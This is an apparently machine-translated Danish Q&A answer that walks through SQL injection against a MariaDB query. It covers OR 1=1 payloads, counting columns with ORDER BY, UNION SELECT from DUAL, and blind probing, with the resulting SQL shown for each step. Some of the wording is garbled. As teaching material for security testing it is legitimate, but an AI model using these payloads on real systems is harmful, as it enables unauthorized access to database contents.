sql >> Database teknologi >  >> RDS >> Mysql

MariaDb SQL Injection

Ok, lad os have det sjovt så.

Når jeg ser på fejlmeddelelsen

Jeg antager, at forespørgslen og koden i applikationen er mere eller mindre som denne pseudomæssigt, @o er faktisk en MySQL brugervariabel..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 
 

Jeg vil bruge en SQL violin mellemrum at simulere en SQL-injektionstest og mere få mulig adgang til andre tabeller.

Du kan teste din injektion med 1' OR 1 = 1# eller 1' OR 1 = 1-- begge burde virke og skulle give dig det samme resultat, når du bruger 1 som input. Dette skyldes, at MariaDB automatisk caster typerne til andre databaser, du muligvis skal bruge den mere strenge version 1' OR '1' = '1#

Som skulle generere

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 
 

Eller

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 
 

Så fordi du ser fejl i applikationen, kan du bruge ORDER BY 1 for at kontrollere, hvor mange kolonner der er valgt, og øge antallet, indtil du får en fejl.

Fejl:ER_BAD_FIELD_ERROR:Ukendt kolonne '2' i 'ordre clause'

Injicer med

1' ORDER BY 1# eller 1' ORDER BY 1--

Hvilket betyder sortering i den første kolonne i resultatsættet IKKE sorter 1 bogstaveligt.

Genererer

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 
 

Eller

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 
 

Når du kender kolonnerne, kan du bruge UNION at komme ind i andre borde. Brug NULL hvis du ikke har brug for alle kolonnerne.

injektion

1' UNION ALL SELECT NULL FROM DUAL#

Bemærk, at DUAL er en "virtuel" ikke-eksisterende tabel i MariaDB, MySQL og Oracle, hvis du kan forespørge på denne "tabel", betyder det, at du også teknisk kan komme ind i andre tabeller.

genereret SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 
 

Og hvis websiden er designet som en "detaljeret" side, hvor én post altid er synlig, skal du tilføje en LIMIT 1, 1 i din injektion.

Hvad hvis der ikke er nogen synlige fejl i webapplikationen, skulle du bare være i stand til blindt at bruteforce geuss med blinde SQL-injektioner og se, hvordan applikationen fungerer.
Prøv også ting som f.eks. ?o=0 , ?o=NULL eller et meget højt tal som den maksimale INT-værdi (signeret) ?o=2147483647 eller (usigneret) ?o=4294967295 før du forsøger at bruteforce det brugte kolonnenummer, så du ved, hvordan applikationen håndterer poster, som ikke kan findes. Fordi det er meget usandsynligt at have id 0 eller at høje tal på en INT datatype, fordi applikationen stopper med at fungere, hvis det sidste tal blev givet. Hvis du stadig får en post med de høje tal, skal du bruge maks. værdierne for BIGINT datatype i stedet for.

For kolonne 1 samme resultat-id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For kolonne 2, som vil fejle, men mest sandsynligt vil du se en fejlside eller en meddelelse om, at posten ikke blev fundet.
Eller en sød HTTP 404 (Ikke fundet) fejlstatus.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Et problem, du kan få, når du bruger LIMIT uden at bruge ORDER BY kan være en chance for at få de samme poster, fordi SQL-standarden har defineret, at SQL-tabeller/resultatsæt er ordreløse uden at bruge ORDER BY

Så du skal helst blive ved med at bruge ORDER BY 1 i bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
 

Og

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
 

Databaserne understøtter ORDER BY 1 er bedre, end jeg tænkte ved første tanke, da det virker i MySQL, MariaDB, SQL Server (MSSQL) og PostgreSQL.

Også ORDER BY 1 var en SQL 92-funktion, som blev fjernet i SQL 99.
Så faktisk burde SQL-databaser ikke udføre ORDER BY 1 længere, hvis de ville følge SQL-standarderne på dette punkt.

SQL 92 BNF

<sort specification list> ::= <sort specification> [ { <comma> <sort specification> }... ] <sort specification> ::= <sort key> [ <collate clause > ] [ <ordering specification> ] <sort key> ::= <column name> | <unsigned integer> # <- here it is <ordering specification> ::= ASC | DESC

i forhold til SQL 1999 BNF

<sort specification list> ::= <sort specification> [ { <comma> <sort specification> }... ] <sort specification> ::= <sort key> [ <collate clause > ] [ <ordering specification> ] <sort key> ::= <column name> # <- missing <ordering specification> ::= ASC | DESC

  1. MYSQL-sag i select-sætning til kontrol af null

  2. Alt du behøver at vide om SQL CTE på ét sted

  3. Hvordan Sinh() virker i PostgreSQL

  4. Returner en liste over fremmede nøgler i SQLite